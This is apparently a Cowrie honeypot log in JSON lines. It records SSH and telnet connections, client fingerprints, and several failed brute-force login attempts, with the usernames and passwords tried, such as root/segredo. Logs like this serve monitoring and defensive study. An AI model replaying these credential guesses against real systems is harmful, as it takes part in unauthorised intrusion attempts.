{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:7d:49:42:7f:53:0b:dc:bb:28:36:5c:7f:f4:bb:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChH+HAYEmot3RTSJEEKmH+zoDgnf5Sx717LdTyayKRifOxuMLM0TUMsY9urTc0fZvy0UNxMrMxyt82iJRr7Nj66Bkx+b8g4ZvjgkuWWk2mNd3sAi6ElE0PfXwsTK+WhnlYWwquK4NuPsr6qiavTN/sjeKr4YCF3gCPwX249mRf1Fy6GjM3VFFRXnORHkIktMK0GzWGCRtADki6N6/3Fjl5/6RmLbltHSCJrOHbK4JvihiLXmzwt60Ss76JfPptudTZYpMI8FNS1ARaTNbvgeqIRHWgy3ye60OWk5HJ+m/2LnVw9KLJoQxGUysCk9fyjjs3WbsoWzZjxIuzKI4bMdbb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.503728Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:4f:8e:40:c0:b7:04:16:bb:56:00:01:33:ed:73:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiaRfPnR4FHhJvgBsBjEi2Jjm4+N2Kj6uxwIg+JK1stIGxyxnLQsXSVkUBPiQTmNO3pOPfNy1jZnC1oZw2kOKELflAJgvqdySIhc8lMMVvKEtWtD564KHaak6ZV7hvg7QLFWtBCz9MG8CWipKcKC1J3cDN/bwwAKDoSpbMTFb30VHJd/4vZn+MR6JfjjxtVue+XdqbMDYUBl2JIZC/YwmJRSlQiXWU54YnCznDND4VS4O8WYzxoIiVAyJWj5/KdLCPmUDxmZYzKtwyYROskBmjnlCMNriHvHhqypsaVO1FKXbmLGyeVaVlpI5WI16YD4Wyry/aX5/U5bh9B4zoyypz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:4f:8e:40:c0:b7:04:16:bb:56:00:01:33:ed:73:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.619809Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:4f:8e:40:c0:b7:04:16:bb:56:00:01:33:ed:73:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiaRfPnR4FHhJvgBsBjEi2Jjm4+N2Kj6uxwIg+JK1stIGxyxnLQsXSVkUBPiQTmNO3pOPfNy1jZnC1oZw2kOKELflAJgvqdySIhc8lMMVvKEtWtD564KHaak6ZV7hvg7QLFWtBCz9MG8CWipKcKC1J3cDN/bwwAKDoSpbMTFb30VHJd/4vZn+MR6JfjjxtVue+XdqbMDYUBl2JIZC/YwmJRSlQiXWU54YnCznDND4VS4O8WYzxoIiVAyJWj5/KdLCPmUDxmZYzKtwyYROskBmjnlCMNriHvHhqypsaVO1FKXbmLGyeVaVlpI5WI16YD4Wyry/aX5/U5bh9B4zoyypz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.623987Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:40.752176Z","src_ip":"108.181.22.199","session":"2107b75a8894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":11188,"dst_ip":"10.17.0.5","dst_port":22,"session":"630bda56a65b","protocol":"ssh","message":"New connection: 38.93.206.2:11188 (10.17.0.5:22) [session: 630bda56a65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:42.232532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:42.237441Z","src_ip":"38.93.206.2","session":"630bda56a65b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:42.288083Z","src_ip":"38.93.206.2","session":"630bda56a65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbrecz","message":"login attempt [root/dbrecz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:42.440529Z","src_ip":"38.93.206.2","session":"630bda56a65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:43.503019Z","src_ip":"38.93.206.2","session":"630bda56a65b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34144,"dst_ip":"10.17.0.5","dst_port":23,"session":"158e4019160a","protocol":"telnet","message":"New connection: 192.119.13.58:34144 (10.17.0.5:23) [session: 158e4019160a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:47.288384Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.3.26","src_port":41874,"dst_ip":"10.17.0.5","dst_port":22,"session":"16401acb499c","protocol":"ssh","message":"New connection: 163.7.3.26:41874 (10.17.0.5:22) [session: 16401acb499c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:48.993078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:49.012352Z","src_ip":"163.7.3.26","session":"16401acb499c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:49.269579Z","src_ip":"163.7.3.26","session":"16401acb499c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"segredo","message":"login attempt [root/segredo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:50.298104Z","src_ip":"163.7.3.26","session":"16401acb499c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:51.587590Z","src_ip":"163.7.3.26","session":"16401acb499c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52540,"dst_ip":"10.17.0.5","dst_port":23,"session":"56dcad528139","protocol":"telnet","message":"New connection: 192.119.13.58:52540 (10.17.0.5:23) [session: 56dcad528139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:52.157394Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":47780,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdd155b5ef6e","protocol":"ssh","message":"New connection: 77.94.47.83:47780 (159.203.135.109:22) [session: cdd155b5ef6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:53.376963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:53.381892Z","src_ip":"77.94.47.83","session":"cdd155b5ef6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:53.502558Z","src_ip":"77.94.47.83","session":"cdd155b5ef6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:53.863713Z","src_ip":"77.94.47.83","session":"cdd155b5ef6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59056,"dst_ip":"10.17.0.5","dst_port":23,"session":"151f74771fdf","protocol":"telnet","message":"New connection: 192.119.13.58:59056 (10.17.0.5:23) [session: 151f74771fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:54.932620Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:54.987422Z","src_ip":"77.94.47.83","session":"cdd155b5ef6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.60426998138428,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:09:57.387368Z","src_ip":"192.119.13.58","session":"aa4ec0ffb768","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.50265979766846,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:00.068686Z","src_ip":"192.119.13.58","session":"7afbdfab5d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":56704,"dst_ip":"159.203.135.109","dst_port":22,"session":"814174326b62","protocol":"ssh","message":"New connection: 102.223.92.101:56704 (159.203.135.109:22) [session: 814174326b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:02.006061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:02.011753Z","src_ip":"102.223.92.101","session":"814174326b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:02.185429Z","src_ip":"102.223.92.101","session":"814174326b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345","message":"login attempt [deployer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:02.909663Z","src_ip":"102.223.92.101","session":"814174326b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41834,"dst_ip":"10.17.0.5","dst_port":23,"session":"385c498b0872","protocol":"telnet","message":"New connection: 192.119.13.58:41834 (10.17.0.5:23) [session: 385c498b0872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:04.027152Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:04.086929Z","src_ip":"102.223.92.101","session":"814174326b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e336cd9681d5","protocol":"telnet","message":"New connection: 192.119.13.58:42938 (10.17.0.5:23) [session: e336cd9681d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:04.331911Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54120,"dst_ip":"10.17.0.5","dst_port":23,"session":"86f50cddef2c","protocol":"telnet","message":"New connection: 192.119.13.58:54120 (10.17.0.5:23) [session: 86f50cddef2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:07.287411Z"}
{"eventid":"cowrie.session.closed","duration":39.928770303726196,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:10.396816Z","src_ip":"192.119.13.58","session":"8e33501eb190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":38734,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa4aa5726b3f","protocol":"ssh","message":"New connection: 49.51.202.114:38734 (159.203.135.109:22) [session: aa4aa5726b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:12.763175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:12.772889Z","src_ip":"49.51.202.114","session":"aa4aa5726b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:12.846832Z","src_ip":"49.51.202.114","session":"aa4aa5726b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890.","message":"login attempt [root/Aa1234567890.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:13.156543Z","src_ip":"49.51.202.114","session":"aa4aa5726b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:14.230230Z","src_ip":"49.51.202.114","session":"aa4aa5726b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.33854103088379,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:18.003740Z","src_ip":"192.119.13.58","session":"cca7ae296322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.66069936752319,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:26.948938Z","src_ip":"192.119.13.58","session":"158e4019160a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.51466417312622,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:28.671921Z","src_ip":"192.119.13.58","session":"56dcad528139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.18757104873657,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:34.120071Z","src_ip":"192.119.13.58","session":"151f74771fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":37674,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf69d76781e7","protocol":"ssh","message":"New connection: 185.92.182.129:37674 (10.17.0.5:22) [session: bf69d76781e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:40.435880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:40.462591Z","src_ip":"185.92.182.129","session":"bf69d76781e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:40.491239Z","src_ip":"185.92.182.129","session":"bf69d76781e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user123","password":"123","message":"login attempt [user123/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:40.650049Z","src_ip":"185.92.182.129","session":"bf69d76781e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:41.685604Z","src_ip":"185.92.182.129","session":"bf69d76781e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58294,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0efebdf8f4","protocol":"telnet","message":"New connection: 192.119.13.58:58294 (10.17.0.5:23) [session: 3a0efebdf8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:45.438173Z"}
